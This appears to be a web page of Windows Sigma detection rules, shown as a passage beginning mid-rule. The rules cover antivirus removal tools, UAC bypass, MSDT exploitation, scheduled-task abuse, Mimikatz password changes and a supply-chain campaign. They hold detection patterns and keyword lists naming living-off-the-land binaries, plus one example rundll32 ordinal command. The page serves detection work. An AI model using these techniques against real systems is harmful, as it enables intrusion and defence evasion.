description: Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.
references:
    - https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe
author: Nasreddine Bencherchali (Nextron Systems)
date: 2021-12-18
modified: 2023-02-14
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        Image|endswith: '\SepRemovalToolNative_x64.exe'
    selection2:
        Image|endswith: '\CATClean.exe'
        CommandLine|contains: '--uninstall'
    selection3:
        Image|endswith: '\NetInstaller.exe'
        CommandLine|contains: '-r'
    selection4:
        Image|endswith: '\WFPUnins.exe'
        CommandLine|contains|all:
            - '/uninstall'
            - '/enterprise'
    condition: 1 of selection*
falsepositives:
    - Legitimate administrative use (Should be investigated either way)
level: high

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection1

selection1:
    Image|endswith: '\SepRemovalToolNative_x64.exe'

Stage 2: selection2

selection2:
    Image|endswith: '\CATClean.exe'
    CommandLine|contains: '--uninstall'

Stage 3: selection3

selection3:
    Image|endswith: '\NetInstaller.exe'
    CommandLine|contains: '-r'

Stage 4: selection4

selection4:
    Image|endswith: '\WFPUnins.exe'
    CommandLine|contains|all:
        - '/uninstall'
        - '/enterprise'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • --uninstall
  • -r corpus 9 (sigma 9)
  • /enterprise
  • /uninstall
field:"CommandLine" kind:match
Imageends_with
  • \CATClean.exe
  • \NetInstaller.exe
  • \SepRemovalToolNative_x64.exe
  • \WFPUnins.exe
field:"Image" kind:ends_with

Service Startup Type Change Via Wmic.EXE

#
Status
experimental
Severity
medium
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects changes to service startup type to 'disabled' or 'manual' using the WMIC command-line utility.

Known False Positives

  • Legitimate administrative changes to service startup types using WMIC, investigate accordingly.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Service Startup Type Change Via Wmic.EXE
id: c0514f28-fdae-42df-b886-06e2b2bc5b37
status: experimental
description: |
    Detects changes to service startup type to 'disabled' or 'manual' using the WMIC command-line utility.
references:
    - https://blog.talosintelligence.com/uncovering-qilin-attack-methods-exposed-through-multiple-cases/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-04-27
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1047
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\WMIC.exe'
        - OriginalFileName: 'wmic.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' service '
            - 'ChangeStartMode'
        CommandLine|contains:
            - 'Manual'
            - 'Disabled'
    condition: all of selection_*
falsepositives:
    - Legitimate administrative changes to service startup types using WMIC, investigate accordingly.
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_wmic_service_startup_change/info.yml

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\WMIC.exe'
    - OriginalFileName: 'wmic.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - ' service '
        - 'ChangeStartMode'
    CommandLine|contains:
        - 'Manual'
        - 'Disabled'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • service corpus 2 (sigma 2)
  • ChangeStartMode
  • Disabled corpus 7 (sigma 5, elastic 1, splunk 1)
  • Manual corpus 2 (sigma 2)
field:"CommandLine" kind:match
Imageends_with
  • \WMIC.exe corpus 62 (sigma 62)
field:"Image" kind:ends_with value:"\WMIC.exe"
OriginalFileNameeq
  • wmic.exe corpus 74 (sigma 38, elastic 18, splunk 18)
field:"OriginalFileName" kind:eq value:"wmic.exe"

Suspicious computer account created by a computer account

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker abuse MachineAccountQuota privilege and pre-create a computer object for abusing RBCD delegation.

Known False Positives

  • Offline domain join host
  • Windows Autopilot Hybrid Azure AD Join

MITRE ATT&CK Coverage

TacticTechniques
Persistence

Telemetry Coverage

Rule Body

title: Suspicious computer account created by a computer account
description: Detects scenarios where an attacker abuse MachineAccountQuota privilege and pre-create a computer object for abusing RBCD delegation.
references:
- https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
tags:
- attack.persistence
- attack.t1136
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4741
    SubjectUserName|endswith: '$'
    SubjectUserSid|startswith: 'S-1-5-21-' # SYSTEM account 'S-1-5-18' would trigger a false positive
    TargetUserName|endswith: '$'
  condition: selection
falsepositives:
- Offline domain join host  
- Windows Autopilot Hybrid Azure AD Join
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 4741
  SubjectUserName|endswith: '$'
  SubjectUserSid|startswith: 'S-1-5-21-'
  TargetUserName|endswith: '$'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
SubjectUserNameends_with
  • $ corpus 5 (sigma 4, splunk 1)
field:"SubjectUserName" kind:ends_with value:"$"
SubjectUserSidstarts_with
  • S-1-5-21- corpus 5 (sigma 5)
field:"SubjectUserSid" kind:starts_with value:"S-1-5-21-"
TargetUserNameends_with
  • $ corpus 11 (sigma 7, splunk 2, kusto 2)
field:"TargetUserName" kind:ends_with value:"$"

Suspicious Scheduled Task Update

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects update to a scheduled task event that contain suspicious keywords.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious Scheduled Task Update
id: 614cf376-6651-47c4-9dcc-6b9527f749f4
related:
    - id: 1c0e41cd-21bb-4433-9acc-4a2cd6367b9b # ProcCreation schtasks change
      type: similar
status: test
description: Detects update to a scheduled task event that contain suspicious keywords.
references:
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4698
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-12-05
tags:
    - attack.execution
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1053.005
logsource:
    product: windows
    service: security
    definition: 'The Advanced Audit Policy setting Object Access > Audit Other Object Access Events has to be configured to allow this detection. We also recommend extracting the Command field from the embedded XML in the event data.'
detection:
    selection_eid:
        EventID: 4702
    selection_paths:
        TaskContentNew|contains:
            - '\AppData\Local\Temp\'
            - '\AppData\Roaming\'
            - '\Users\Public\'
            - '\WINDOWS\Temp\'
            - 'C:\Temp\'
            - '\Desktop\'
            - '\Downloads\'
            - '\Temporary Internet'
            - 'C:\ProgramData\'
            - 'C:\Perflogs\'
    selection_commands:
        TaskContentNew|contains:
            - 'regsvr32'
            - 'rundll32'
            - 'cmd.exe</Command>'
            - 'cmd</Command>'
            - '<Arguments>/c '
            - '<Arguments>/k '
            - '<Arguments>/r '
            - 'powershell'
            - 'pwsh'
            - 'mshta'
            - 'wscript'
            - 'cscript'
            - 'certutil'
            - 'bitsadmin'
            - 'bash.exe'
            - 'bash '
            - 'scrcons'
            - 'wmic '
            - 'wmic.exe'
            - 'forfiles'
            - 'scriptrunner'
            - 'hh.exe'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_eid

selection_eid:
    EventID: 4702

Stage 2: selection_paths

selection_paths:
    TaskContentNew|contains:
        - '\AppData\Local\Temp\'
        - '\AppData\Roaming\'
        - '\Users\Public\'
        - '\WINDOWS\Temp\'
        - 'C:\Temp\'
        - '\Desktop\'
        - '\Downloads\'
        - '\Temporary Internet'
        - 'C:\ProgramData\'
        - 'C:\Perflogs\'

Stage 3: selection_commands

selection_commands:
    TaskContentNew|contains:
        - 'regsvr32'
        - 'rundll32'
        - 'cmd.exe</Command>'
        - 'cmd</Command>'
        - '<Arguments>/c '
        - '<Arguments>/k '
        - '<Arguments>/r '
        - 'powershell'
        - 'pwsh'
        - 'mshta'
        - 'wscript'
        - 'cscript'
        - 'certutil'
        - 'bitsadmin'
        - 'bash.exe'
        - 'bash '
        - 'scrcons'
        - 'wmic '
        - 'wmic.exe'
        - 'forfiles'
        - 'scriptrunner'
        - 'hh.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TaskContentNewmatch
  • <Arguments>/c
  • <Arguments>/k
  • <Arguments>/r
  • C:\Perflogs\
  • C:\ProgramData\
  • C:\Temp\
  • \AppData\Local\Temp\
  • \AppData\Roaming\
  • \Desktop\
  • \Downloads\
  • \Temporary Internet
  • \Users\Public\
  • \WINDOWS\Temp\
  • bash
  • bash.exe
  • bitsadmin
  • certutil
  • cmd.exe</Command>
  • cmd</Command>
  • cscript
  • forfiles
  • hh.exe
  • mshta
  • powershell
  • pwsh
  • regsvr32
  • rundll32
  • scrcons
  • scriptrunner
  • wmic
  • wmic.exe
  • wscript
field:"TaskContentNew" kind:match

Suspicious Set Value of MSDT in Registry (CVE-2022-30190)

#
Status
test
Severity
medium
Author
Sittikorn S
Source
github.com/SigmaHQ/sigma

Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Telemetry Coverage

Rule Body

title: Suspicious Set Value of MSDT in Registry (CVE-2022-30190)
id: 2d9403d5-7927-46b7-8216-37ab7c9ec5e3
status: test
description: Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.
references:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
    - https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
author: Sittikorn S
date: 2020-05-31
modified: 2023-08-17
tags:
    - attack.stealth
    - attack.t1221
    - detection.emerging-threats
logsource:
    product: windows
    category: registry_set
detection:
    selection:
        TargetObject|startswith: 'HKCR\ms-msdt\'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|startswith: 'HKCR\ms-msdt\'

Indicators

These rows show field, operator, and value matches.

Suspicious ShellExec_RunDLL Call Via Ordinal

#
Status
test
Severity
high
Author
Swachchhanda Shrawan Poudel
Source
github.com/SigmaHQ/sigma

Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands. Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Suspicious ShellExec_RunDLL Call Via Ordinal
id: 8823e85d-31d8-473e-b7f4-92da070f0fc6
related:
    - id: d87bd452-6da1-456e-8155-7dc988157b7d
      type: derived
status: test
description: |
    Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands.
    Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine.
references:
    - https://redcanary.com/blog/raspberry-robin/
    - https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
    - https://github.com/SigmaHQ/sigma/issues/1009
    - https://strontic.github.io/xcyclopedia/library/shell32.dll-65DA072F25DE83D9F83653E3FEA3644D.html
author: Swachchhanda Shrawan Poudel
date: 2024-12-01
tags:
    - attack.stealth
    - attack.t1218.011
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent_img:
        ParentCommandLine|contains: 'SHELL32.DLL'
    selection_parent_ordinal:
        ParentCommandLine|contains:
            # Note: The ordinal number may differ depending on the DLL version
            # Example: rundll32 SHELL32.DLL,#572 "cmd.exe" "/c calc.exe"
            - '#568'
            - '#570'
            - '#572'
            - '#576'
    selection_susp_cli_parent:
        # Note: Add additional binaries and suspicious paths to increase coverage
        - ParentCommandLine|contains:
              - 'comspec'
              - 'iex'
              - 'Invoke-'
              - 'msiexec'
              - 'odbcconf'
              - 'regsvr32'
        - ParentCommandLine|contains:
              - '\Desktop\'
              - '\ProgramData\'
              - '\Temp\'
              - '\Users\Public\'
    selection_susp_child_img:
        Image|endswith:
            - '\bash.exe'
            - '\bitsadmin.exe'
            - '\cmd.exe'
            - '\cscript.exe'
            - '\curl.exe'
            - '\mshta.exe'
            - '\msiexec.exe'
            - '\msxsl.exe'
            - '\odbcconf.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\regsvr32.exe'
            - '\schtasks.exe'
            - '\wmic.exe'
            - '\wscript.exe'
    condition: all of selection_parent_* and 1 of selection_susp_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_parent_* and 1 of selection_susp_*

Stage 1: selection_parent_img

selection_parent_img:
    ParentCommandLine|contains: 'SHELL32.DLL'

Stage 2: selection_parent_ordinal

selection_parent_ordinal:
    ParentCommandLine|contains:
        - '#568'
        - '#570'
        - '#572'
        - '#576'

Stage 3: selection_susp_cli_parent

selection_susp_cli_parent:
    - ParentCommandLine|contains:
          - 'comspec'
          - 'iex'
          - 'Invoke-'
          - 'msiexec'
          - 'odbcconf'
          - 'regsvr32'
    - ParentCommandLine|contains:
          - '\Desktop\'
          - '\ProgramData\'
          - '\Temp\'
          - '\Users\Public\'

Stage 4: selection_susp_child_img

selection_susp_child_img:
    Image|endswith:
        - '\bash.exe'
        - '\bitsadmin.exe'
        - '\cmd.exe'
        - '\cscript.exe'
        - '\curl.exe'
        - '\mshta.exe'
        - '\msiexec.exe'
        - '\msxsl.exe'
        - '\odbcconf.exe'
        - '\powershell.exe'
        - '\pwsh.exe'
        - '\regsvr32.exe'
        - '\schtasks.exe'
        - '\wmic.exe'
        - '\wscript.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \bash.exe corpus 21 (sigma 21)
  • \bitsadmin.exe corpus 29 (sigma 29)
  • \cmd.exe corpus 132 (sigma 130, splunk 2)
  • \cscript.exe corpus 72 (sigma 72)
  • \curl.exe corpus 31 (sigma 31)
  • \mshta.exe corpus 67 (sigma 66, splunk 1)
  • \msiexec.exe corpus 20 (sigma 20)
  • \msxsl.exe corpus 6 (sigma 6)
  • \odbcconf.exe corpus 11 (sigma 11)
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \pwsh.exe corpus 166 (sigma 166)
  • \regsvr32.exe corpus 64 (sigma 64)
  • \schtasks.exe corpus 55 (sigma 55)
  • \wmic.exe corpus 62 (sigma 62)
  • \wscript.exe corpus 74 (sigma 74)
field:"Image" kind:ends_with
ParentCommandLinematch
  • #568
  • #570
  • #572
  • #576
  • Invoke-
  • SHELL32.DLL
  • \Desktop\
  • \ProgramData\
  • \Temp\
  • \Users\Public\
  • comspec
  • iex
  • msiexec
  • odbcconf
  • regsvr32
field:"ParentCommandLine" kind:match

Suspicious SYSVOL Domain Group Policy Access

#
Status
test
Severity
medium
Author
Markus Neis, Jonhnathan Ribeiro, oscd.community
Source
github.com/SigmaHQ/sigma

Detects Access to Domain Group Policies stored in SYSVOL

Known False Positives

  • Administrative activity

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious SYSVOL Domain Group Policy Access
id: 05f3c945-dcc8-4393-9f3d-af65077a8f86
status: test
description: Detects Access to Domain Group Policies stored in SYSVOL
references:
    - https://adsecurity.org/?p=2288
    - https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100
author: Markus Neis, Jonhnathan Ribeiro, oscd.community
date: 2018-04-09
modified: 2022-01-07
tags:
    - attack.credential-access
    - attack.t1552.006
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - '\SYSVOL\'
            - '\policies\'
    condition: selection
falsepositives:
    - Administrative activity
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains|all:
        - '\SYSVOL\'
        - '\policies\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • \SYSVOL\ corpus 4 (sigma 4)
  • \policies\
field:"CommandLine" kind:match

System Drawing DLL Load

#
Status
test
Severity
low
Author
Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
Source
github.com/SigmaHQ/sigma

Detects processes loading "System.Drawing.ni.dll". This could be an indicator of potential Screen Capture.

Known False Positives

  • False positives are very common from system and third party applications, activity needs to be investigated. This rule is best correlated with other events to increase the level of suspiciousness

MITRE ATT&CK Coverage

TacticTechniques
Collection

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: System Drawing DLL Load
id: 666ecfc7-229d-42b8-821e-1a8f8cb7057c
status: test
description: Detects processes loading "System.Drawing.ni.dll". This could be an indicator of potential Screen Capture.
references:
    - https://github.com/OTRF/detection-hackathon-apt29/issues/16
    - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.md
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-05-02
modified: 2023-02-22
tags:
    - attack.collection
    - attack.t1113
    - detection.threat-hunting
logsource:
    product: windows
    category: image_load
detection:
    selection:
        ImageLoaded|endswith: '\System.Drawing.ni.dll'
    condition: selection
falsepositives:
    - False positives are very common from system and third party applications, activity needs to be investigated. This rule is best correlated with other events to increase the level of suspiciousness
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ImageLoaded|endswith: '\System.Drawing.ni.dll'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ImageLoadedends_with
  • \System.Drawing.ni.dll
field:"ImageLoaded" kind:ends_with value:"\System.Drawing.ni.dll"

TanStack Supply-Chain Attack Execution Indicators - Windows

#
Status
experimental
Severity
high
Author
Leonardo Gasparini
Source
github.com/SigmaHQ/sigma

Detects process execution indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai, uipath reported on early May 2026.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: TanStack Supply-Chain Attack Execution Indicators - Windows
id: 9b4f3d2e-6e8c-5fab-c7d9-2a3b4e5f6a7b
status: experimental
description: Detects process execution indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai, uipath reported on early May 2026.
references:
    - https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack
    - https://socket.dev/supply-chain-attacks/mini-shai-hulud
    - https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/
author: Leonardo Gasparini
date: 2026-05-12
tags:
    - attack.execution
    - attack.t1059.007
    - attack.t1204.002
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\bun.exe'
        CommandLine|contains|all:
            - 'run'
            - 'tanstack_runner.js'
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\bun.exe'
    CommandLine|contains|all:
        - 'run'
        - 'tanstack_runner.js'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • run corpus 4 (sigma 3, splunk 1)
  • tanstack_runner.js corpus 2 (sigma 2)
field:"CommandLine" kind:match
Imageends_with
  • \bun.exe corpus 2 (sigma 2)
field:"Image" kind:ends_with value:"\bun.exe"

UAC Bypass Abusing Winsat Path Parsing - Process

#
Status
test
Severity
high
Author
Christian Burkard (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: UAC Bypass Abusing Winsat Path Parsing - Process
id: 7a01183d-71a2-46ad-ad5c-acd989ac1793
status: test
description: Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)
references:
    - https://github.com/hfiref0x/UACME
author: Christian Burkard (Nextron Systems)
date: 2021-08-30
modified: 2024-12-01
tags:
    - attack.privilege-escalation
    - attack.t1548.002
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        IntegrityLevel:
            - 'High'
            - 'System'
            - 'S-1-16-16384' # System
            - 'S-1-16-12288' # High
        ParentImage|endswith: '\AppData\Local\Temp\system32\winsat.exe'
        ParentCommandLine|contains: 'C:\Windows \system32\winsat.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    IntegrityLevel:
        - 'High'
        - 'System'
        - 'S-1-16-16384'
        - 'S-1-16-12288'
    ParentImage|endswith: '\AppData\Local\Temp\system32\winsat.exe'
    ParentCommandLine|contains: 'C:\Windows \system32\winsat.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
IntegrityLeveleq
  • High corpus 18 (sigma 17, splunk 1)
  • S-1-16-12288 corpus 18 (sigma 17, splunk 1)
  • S-1-16-16384 corpus 31 (sigma 22, splunk 5, elastic 3, kusto 1)
  • System corpus 31 (sigma 22, splunk 5, elastic 3, kusto 1)
field:"IntegrityLevel" kind:eq
ParentCommandLinematch
  • C:\Windows \system32\winsat.exe
field:"ParentCommandLine" kind:match value:"C:\Windows \system32\winsat.exe"
ParentImageends_with
  • \AppData\Local\Temp\system32\winsat.exe
field:"ParentImage" kind:ends_with value:"\AppData\Local\Temp\system32\winsat.exe"

Uncommon Extension Shim Database Installation Via Sdbinst.EXE

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Uncommon Extension Shim Database Installation Via Sdbinst.EXE
id: 18ee686c-38a3-4f65-9f44-48a077141f42
related:
    - id: 517490a7-115a-48c6-8862-1a481504d5a8
      type: derived
status: test
description: |
    Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe.
    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims
references:
    - https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
    - https://github.com/nasbench/Misc-Research/blob/8ee690e43a379cbce8c9d61107442c36bd9be3d3/Other/Undocumented-Flags-Sdbinst.md
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-08-01
modified: 2024-01-10
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1546.011
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Image|endswith: '\sdbinst.exe'
        - OriginalFileName: 'sdbinst.exe'
    filter_main_legit_ext:
        CommandLine|contains: '.sdb'
    filter_main_legit_extensions:
        # ParentImage|endswith: ':\Windows\System32\svchost.exe'
        - CommandLine|endswith:
              - ' -c'
              - ' -f'
              - ' -mm'
              - ' -t'
        - CommandLine|contains: ' -m -bg'
    filter_main_null:
        CommandLine: null
    filter_main_empty:
        CommandLine: ''
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    - Image|endswith: '\sdbinst.exe'
    - OriginalFileName: 'sdbinst.exe'

Stage 2: not filter_main_*

filter_main_legit_ext:
    CommandLine|contains: '.sdb'
filter_main_legit_extensions:
    - CommandLine|endswith:
          - ' -c'
          - ' -f'
          - ' -mm'
          - ' -t'
    - CommandLine|contains: ' -m -bg'
filter_main_null:
    CommandLine: null
filter_main_empty:
    CommandLine: ''

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \sdbinst.exe corpus 2 (sigma 2)
field:"Image" kind:ends_with value:"\sdbinst.exe"
OriginalFileNameeq
  • sdbinst.exe corpus 2 (sigma 2)
field:"OriginalFileName" kind:eq value:"sdbinst.exe"

Exclusions

The rule actively suppresses these predicates.

User Discovery And Export Via Get-ADUser Cmdlet - PowerShell

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

Known False Positives

  • Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

Rule Body

title: User Discovery And Export Via Get-ADUser Cmdlet - PowerShell
id: c2993223-6da8-4b1a-88ee-668b8bf315e9
related:
    - id: 1114e048-b69c-4f41-bc20-657245ae6e3f
      type: similar
status: test
description: Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file
references:
    - http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
    - https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-11-17
tags:
    - attack.discovery
    - attack.t1033
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains|all:
            - 'Get-ADUser '
            - ' -Filter \*'
        ScriptBlockText|contains:
            - ' > '
            - ' | Select '
            - 'Out-File'
            - 'Set-Content'
            - 'Add-Content'
    condition: selection
falsepositives:
    - Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ScriptBlockText|contains|all:
        - 'Get-ADUser '
        - ' -Filter \*'
    ScriptBlockText|contains:
        - ' > '
        - ' | Select '
        - 'Out-File'
        - 'Set-Content'
        - 'Add-Content'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • -Filter \* corpus 2 (sigma 2)
  • >
  • | Select corpus 2 (sigma 2)
  • Add-Content corpus 3 (sigma 3)
  • Get-ADUser
  • Out-File corpus 3 (sigma 3)
  • Set-Content corpus 3 (sigma 3)
field:"ScriptBlockText" kind:match

User password change using current hash password - ChangeNTLM (Mimikatz)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker resets a user account by using the compromised NTLM password hash. The newly clear text password defined by the attacker can be then used in order to login into services like Outlook Web Access (OWA), RDP, SharePoint... As ID 4723 refers to user changing is own password, the SubjectSid and TargetSid should be equal. However in a change initiated by Mimikatz, they will be different. Correlate the event ID 4723, 4624 and 5145 using the "SubjectLogonId" field to identify the source of the reset.

Known False Positives

  • Admin changing is own account directly using the Active Directory console and not the GUI (ctrl alt suppr)
  • ADFS, MSOL, DirSync, Azure AD Sync

MITRE ATT&CK Coverage

TacticTechniques
Persistence

Telemetry Coverage

Rule Body

title: User password change using current hash password - ChangeNTLM (Mimikatz)
description: Detects scenarios where an attacker resets a user account by using the compromised NTLM password hash. The newly clear text password defined by the attacker can be then used in order to login into services like Outlook Web Access (OWA), RDP, SharePoint... As ID 4723 refers to user changing is own password, the SubjectSid and TargetSid should be equal. However in a change initiated by Mimikatz, they will be different. Correlate the event ID 4723, 4624 and 5145 using the "SubjectLogonId" field to identify the source of the reset.
references:
  - https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1098.xxx-Account%20manipulation
  - https://stealthbits.com/blog/manipulating-user-passwords-with-mimikatz/
  - https://www.trustedsec.com/blog/azure-account-hijacking-using-mimikatzs-lsadumpsetntlm/
  - https://www.trustedsec.com/blog/manipulating-user-passwords-without-mimikatz/
tags:
  - attack.persistence
  - attack.t1098
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4723 # Self password reset
    TargetSid|startswith: S-1-5-21-
    SubjectUserSid|startswith: S-1-5-21-
    #SubjectUserSid != TargetSid # comparing 2 fields is not possible in SIGMA language
  condition: selection
falsepositives:
  - Admin changing is own account directly using the Active Directory console and not the GUI (ctrl alt suppr)
  - ADFS, MSOL, DirSync, Azure AD Sync
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 4723
  TargetSid|startswith: S-1-5-21-
  SubjectUserSid|startswith: S-1-5-21-

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
SubjectUserSidstarts_with
  • S-1-5-21- corpus 5 (sigma 5)
field:"SubjectUserSid" kind:starts_with value:"S-1-5-21-"
TargetSidstarts_with
  • S-1-5-21- corpus 5 (sigma 4, splunk 1)
field:"TargetSid" kind:starts_with value:"S-1-5-21-"

Back to all Sigma rules